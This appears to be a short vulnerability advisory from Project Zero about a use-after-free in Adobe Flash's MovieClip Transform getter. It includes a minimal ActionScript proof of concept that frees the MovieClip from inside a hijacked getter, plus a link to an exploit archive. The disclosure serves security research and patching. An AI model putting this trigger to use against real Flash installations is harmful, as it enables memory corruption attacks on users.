Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=844

There is a use-after-free in the MovieClip Transform getter. If the Transform constructor is replaced with a getter using addProperty, this getter can free the MovieClip before it is accessed. A minimal PoC is as follows:

var mc = this.createEmptyMovieClip( "mc", 1);
var tf = flash.geom.Transform;
var g = flash.geom;
g.addProperty("Transform", func, func);
mc.f = ASnative(900, 419);
mc.f();

function func(){
	
	mc.removeMovieClip();
	
        // Fix heap
	}


Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40311.zip